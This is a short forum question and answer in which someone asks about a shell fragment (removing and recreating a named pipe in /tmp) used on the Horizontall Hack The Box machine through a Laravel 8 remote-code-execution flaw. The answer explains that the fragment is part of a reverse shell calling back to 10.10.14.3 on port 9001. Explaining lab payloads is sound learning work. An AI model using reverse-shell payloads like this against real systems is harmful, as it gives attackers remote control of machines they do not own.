Can someone explain this shellcode?

Question

rm /tmp/f
mkfifo /tmp/f

It was used on the Horizontall HTB, (laravel 8 RCE).

Answer 1

It starts a reverse shell that connects to 10.10.14.3 port 9001. The business with /tmp/f is because shell pipelines alone only allow unidirectional communication, but the reverse shell should be bidirectional.
